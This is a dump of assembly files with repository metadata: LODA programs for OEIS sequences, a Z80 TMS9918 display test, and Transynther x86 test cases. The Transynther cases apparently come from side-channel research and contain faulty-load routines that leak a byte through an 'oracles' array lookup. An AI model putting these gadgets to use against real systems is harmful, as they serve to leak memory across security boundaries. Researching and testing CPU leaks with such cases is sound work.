afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/088/A088041.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/088/A088041.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A088041: Smallest k such that k^4 - 1 is divisible by an n-th power, k > 1. ; 2,3,3,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535,131071,262143,524287,1048575,2097151,4194303,8388607,16777215,33554431,67108863,134217727,268435455,536870911,1073741823,2147483647,4294967295,8589934591,17179869183,34359738367,68719476735,137438953471,274877906943,549755813887,1099511627775,2199023255551,4398046511103,8796093022207,17592186044415,35184372088831,70368744177663,140737488355327,281474976710655,562949953421311,1125899906842623,2251799813685247,4503599627370495,9007199254740991,18014398509481983,36028797018963967,72057594037927935,144115188075855871,288230376151711743,576460752303423487,1152921504606846975,2305843009213693951,4611686018427387903,9223372036854775807,18446744073709551615,36893488147419103231,73786976294838206463,147573952589676412927,295147905179352825855,590295810358705651711,1180591620717411303423,2361183241434822606847,4722366482869645213695,9444732965739290427391,18889465931478580854783,37778931862957161709567,75557863725914323419135,151115727451828646838271,302231454903657293676543,604462909807314587353087,1208925819614629174706175,2417851639229258349412351,4835703278458516698824703,9671406556917033397649407,19342813113834066795298815,38685626227668133590597631,77371252455336267181195263,154742504910672534362390527,309485009821345068724781055,618970019642690137449562111,1237940039285380274899124223,2475880078570760549798248447,4951760157141521099596496895,9903520314283042199192993791,19807040628566084398385987583,39614081257132168796771975167,79228162514264337593543950335,158456325028528675187087900671,316912650057057350374175801343 mov $3,2 lpb $0 sub $0,1 pow $3,$0 trn $0,6530 mov $1,1 lpe mov $2,1 trn $3,4 lpb $2 add $1,2 add $1,$3 mov $2,$0 lpe mov $0,$1
96.526316
1,612
0.891494
00009f966bd4e179e0cfef49c435d0d4cd208e9c
448
asm
Assembly
oeis/068/A068033.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/068/A068033.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/068/A068033.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A068033: Number of subsets of {1,2,3,...,n} that sum to 0 mod 12. ; Submitted by Christian Krause ; 1,1,1,1,1,3,6,11,22,44,86,172,344,684,1368,2736,5464,10928,21856,43696,87392,174784,349536,699072,1398144,2796224,5592448,11184896,22369664,44739328,89478656,178957056,357914112,715828224,1431655936 lpb $0 mov $2,$0 mov $0,4 seq $2,68010 ; Number of subsets of {1,2,3,...,n} that sum to 0 mod 3. sub $2,4 lpe mov $0,$2 div $0,4 add $0,1
32
200
0.700893
2804337099614f200b3b347440b9fba2a9cb4295
251
asm
Assembly
oeis/252/A252482.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/252/A252482.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/252/A252482.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A252482: Exponents n such that the decimal expansion of the power 12^n contains no zeros. ; Submitted by Jon Maiga ; 0,1,2,3,5,6,8,10,14,20,26 add $0,2 mov $2,20 mov $3,1 lpb $0 add $3,$0 mul $0,$3 div $0,$2 trn $0,1 lpe mov $0,$3 sub $0,3
15.6875
91
0.633466
f2a15eeff25e72ff2c2079fedae2f256a9afb564
4,145
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_701.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_701.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_701.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x12181, %rsi lea addresses_WT_ht+0xdb81, %rdi nop nop nop nop nop xor %rbx, %rbx mov $24, %rcx rep movsl nop nop nop cmp %r15, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %rax push %rbp push %rbx push %rsi // Faulty Load lea addresses_D+0x13181, %rsi nop and $52677, %rbp vmovups (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r15 lea oracles, %rbx and $0xff, %r15 shlq $12, %r15 mov (%rbx,%r15,1), %r15 pop %rsi pop %rbx pop %rbp pop %rax pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
60.955882
2,999
0.664656
3edd0699f3b016e7cefe69d546999ff2e53ef931
445
asm
Assembly
oeis/348/A348407.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/348/A348407.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/348/A348407.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A348407: a(n) = ((n+1)*3*2^(n+1) + 29*2^n + (-1)^n)/9. ; Submitted by Jamie Morken(s2) ; 4,9,21,47,105,231,505,1095,2361,5063,10809,22983,48697,102855,216633,455111,953913,1995207,4165177,8679879,18058809,37515719,77827641,161247687,333680185,689729991,1424199225,2937876935,6054710841,12467335623,25650499129,52732654023,108328619577 mov $2,$0 lpb $2 add $0,$1 add $0,6 mul $0,2 add $0,$2 cmp $1,0 sub $2,1 lpe div $0,3 add $0,4
27.8125
247
0.698876
de227df902e945a9f6acf7b64ef4bbb8bbe9570e
7,794
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1832.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1832.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1832.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x1b3f9, %rsi sub $11696, %r9 mov (%rsi), %r8w nop nop nop nop nop xor %rsi, %rsi lea addresses_UC_ht+0x9ba2, %r13 clflush (%r13) nop nop add $48160, %rbp movb $0x61, (%r13) nop cmp $13979, %r13 lea addresses_A_ht+0x1d0f9, %rsi lea addresses_WC_ht+0x5052, %rdi nop nop add %rax, %rax mov $51, %rcx rep movsl nop nop sub $4693, %rbp lea addresses_A_ht+0x6a39, %rsi lea addresses_A_ht+0xa8f5, %rdi clflush (%rsi) nop nop nop add $31417, %rbp mov $35, %rcx rep movsw nop sub $51293, %r8 lea addresses_WT_ht+0x2625, %rax nop nop nop nop nop inc %rdi mov $0x6162636465666768, %r8 movq %r8, %xmm1 movups %xmm1, (%rax) nop nop nop nop dec %r8 lea addresses_A_ht+0x125dd, %rsi lea addresses_A_ht+0x17bf9, %rdi nop nop nop nop xor $62525, %rax mov $54, %rcx rep movsb nop nop nop nop add %rax, %rax lea addresses_normal_ht+0x1c4a7, %rsi lea addresses_WC_ht+0xade1, %rdi nop nop nop nop dec %r13 mov $114, %rcx rep movsq nop nop and $50437, %r13 lea addresses_normal_ht+0x3f9, %r9 add %r8, %r8 and $0xffffffffffffffc0, %r9 vmovaps (%r9), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r13 nop nop nop add %rdi, %rdi lea addresses_D_ht+0x1cff9, %rcx nop nop add $50073, %r8 mov $0x6162636465666768, %r9 movq %r9, %xmm5 vmovups %ymm5, (%rcx) nop nop nop sub $43840, %r8 lea addresses_D_ht+0x177f9, %rsi lea addresses_normal_ht+0x1af01, %rdi nop nop nop sub %r13, %r13 mov $115, %rcx rep movsw nop nop xor $48180, %r13 lea addresses_UC_ht+0x161f7, %rsi lea addresses_WC_ht+0x42e9, %rdi clflush (%rsi) nop nop nop sub $32418, %r9 mov $123, %rcx rep movsw nop nop sub %r13, %r13 lea addresses_D_ht+0x1b6f9, %rcx nop nop nop nop sub %r8, %r8 mov $0x6162636465666768, %rsi movq %rsi, %xmm6 vmovups %ymm6, (%rcx) nop xor $6765, %rax lea addresses_WT_ht+0x8f9, %rax nop nop dec %r8 movw $0x6162, (%rax) nop cmp %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r9 push %rbx push %rcx // Store lea addresses_UC+0xfcb4, %r14 nop nop nop nop nop and $30739, %r9 mov $0x5152535455565758, %r13 movq %r13, (%r14) nop nop nop dec %r9 // Faulty Load lea addresses_normal+0x123f9, %r14 clflush (%r14) nop nop dec %r11 vmovups (%r14), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rcx lea oracles, %r13 and $0xff, %rcx shlq $12, %rcx mov (%r13,%rcx,1), %rcx pop %rcx pop %rbx pop %r9 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
33.74026
2,999
0.660765
721b746060b9104c60ad4937cffcab879130470c
560
asm
Assembly
programs/oeis/013/A013733.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/013/A013733.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/013/A013733.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A013733: a(n) = 3^(3n+2). ; 9,243,6561,177147,4782969,129140163,3486784401,94143178827,2541865828329,68630377364883,1853020188851841,50031545098999707,1350851717672992089,36472996377170786403,984770902183611232881,26588814358957503287787,717897987691852588770249,19383245667680019896796723,523347633027360537213511521,14130386091738734504764811067,381520424476945831628649898809,10301051460877537453973547267843,278128389443693511257285776231761,7509466514979724803946715958257547,202755595904452569706561330872953769 mov $1,27 pow $1,$0 mul $1,9 mov $0,$1
70
491
0.891071
185ebfe3c49062fa2d38bda282cd2e20e47aada9
4,072
asm
Assembly
Z80/tmstests/tmstests.asm
BleuLlama/LlamaVampireDrive
63f5990f239afaf7a88373041bece0873eb7b67b
[ "MIT" ]
4
2020-12-01T03:34:41.000Z
2021-07-22T23:26:40.000Z
Z80/tmstests/tmstests.asm
BleuLlama/LlamaVampireDrive
63f5990f239afaf7a88373041bece0873eb7b67b
[ "MIT" ]
null
null
null
Z80/tmstests/tmstests.asm
BleuLlama/LlamaVampireDrive
63f5990f239afaf7a88373041bece0873eb7b67b
[ "MIT" ]
null
null
null
; ASM based tests for TMS stuff ; ; This code is a payload on a BASIC program that will poke it into ; memory at 0xF800, then call USR(0) to trigger it. ; ; ; This code assumes a RC2014 system with: ; - NASCOM BASIC ROM at RUN ; - TMS9918A video card ; - 6850 ACIA at IO 0x80 .include "../Common/hardware.asm" .include "../Common/basicusr.asm" .module LLVD_STRAP .area .CODE (ABS) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Library options ; TMS tmsGfxModes = 1 tmsTestText = 0 tmsTestGfx = 1 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; entry point ;.org 0xF800 .org ENTRYORG usr: call TMSTest ;ld a, #C_LGREEN ;call TMSColor ; return to BASIC ld a, #0x10 ld b, #0x92 ; 0x1092 -> 4242.d jp ABPASS TMSTest: call TMSClr ; switch to the right display mode ;ld hl, #TMS_BLANK ld hl, #TMS_TEXT call TMSModeSet ; store our font to the TMS ld de, #TMS_PatTab ; pattern table (font memory) ld hl, #TMSFont ; font we want ld b, #7 ; 7 glyphs call TMSFontPush ld de, #TMS_PatTab + (8*'0) ; ascii 0 ld hl, #TMSFontDigits ; digit fonts ld b, #10*8 call TMSBlit ; store stuff to the screen tilemap (name table) ld de, #TMS_Name ; name table (character ram) ld a, #4 ; shove in this character ; textmode fill... ld b, #255 ; this many times call TMSMemSet ld b, #255 call TMSMemCont ; and again ld b, #255 call TMSMemCont ; and again ld b, #255 call TMSMemCont ; and again call TMSMFill ld a, #1 ; char #2 ld de, #TMS_Name + 0 ; top left call TMSPoke ld de, #TMS_Name + 39 ; top right call TMSPoke ld de, #TMS_Name + 920 ; bot left call TMSPoke ld de, #TMS_Name + 959 ; bot right call TMSPoke ret ; store some data to the tms ;ld de, #0x0800 ; name table (character ram) ;ld hl, #memxxx ; local source pointer ;ld b, #16 ; copy 16 bytes ;call TMSBlit ; store it to TMS mem .include "../Common/tms9918.asm" ;;;;;;;;;;;;;;;;;;;;;;;; ; Internal "font" TMSFont: .byte 0,0,0,0, 0,0,0,0 ; 0 all off .byte 255, 255, 255, 255, 255, 255, 255, 255 ; 1 all on .byte 254, 130, 130, 130, 130, 130, 254, 0 ; 2 box .byte 24, 24, 24, 254, 24, 24, 24, 0 ; 3 + .byte 0, 0, 0, 24, 0, 0, 0, 0 ; 4 center dot TMSFontDigits: ; based on "Ready-P9" on fontstruct ; 0 .byte 0b01110000 .byte 0b10001000 .byte 0b10011000 .byte 0b10101000 .byte 0b11001000 .byte 0b10001000 .byte 0b01110000 .byte 0b00000000 ; 1 .byte 0b00100000 .byte 0b01100000 .byte 0b00100000 .byte 0b00100000 .byte 0b00100000 .byte 0b00100000 .byte 0b01110000 .byte 0b00000000 ; 2 .byte 0b01110000 .byte 0b10001000 .byte 0b00001000 .byte 0b00010000 .byte 0b00100000 .byte 0b01000000 .byte 0b11111000 .byte 0b00000000 ; 3 .byte 0b11111000 .byte 0b00010000 .byte 0b00100000 .byte 0b00010000 .byte 0b00001000 .byte 0b10001000 .byte 0b01110000 .byte 0b00000000 ; 4 .byte 0b00010000 .byte 0b00110000 .byte 0b01010000 .byte 0b10010000 .byte 0b11111000 .byte 0b00010000 .byte 0b00010000 .byte 0b00000000 ; 5 .byte 0b11111000 .byte 0b10000000 .byte 0b11110000 .byte 0b00001000 .byte 0b00001000 .byte 0b10001000 .byte 0b01110000 .byte 0b00000000 ; 6 .byte 0b00110000 .byte 0b01000000 .byte 0b10000000 .byte 0b11110000 .byte 0b10001000 .byte 0b10001000 .byte 0b01110000 .byte 0b00000000 ; 7 .byte 0b11111000 .byte 0b00001000 .byte 0b00010000 .byte 0b00100000 .byte 0b00100000 .byte 0b00100000 .byte 0b00100000 .byte 0b00000000 ; 8 .byte 0b01110000 .byte 0b10001000 .byte 0b10001000 .byte 0b01110000 .byte 0b10001000 .byte 0b10001000 .byte 0b01110000 .byte 0b00000000 ; 9 .byte 0b01110000 .byte 0b10001000 .byte 0b10001000 .byte 0b01111000 .byte 0b00001000 .byte 0b00010000 .byte 0b01100000 .byte 0b00000000
18.764977
80
0.620088
e42475d943d7eb5b39fc9d19ccf71936d07ef1b2
5,251
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1285.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1285.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1285.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
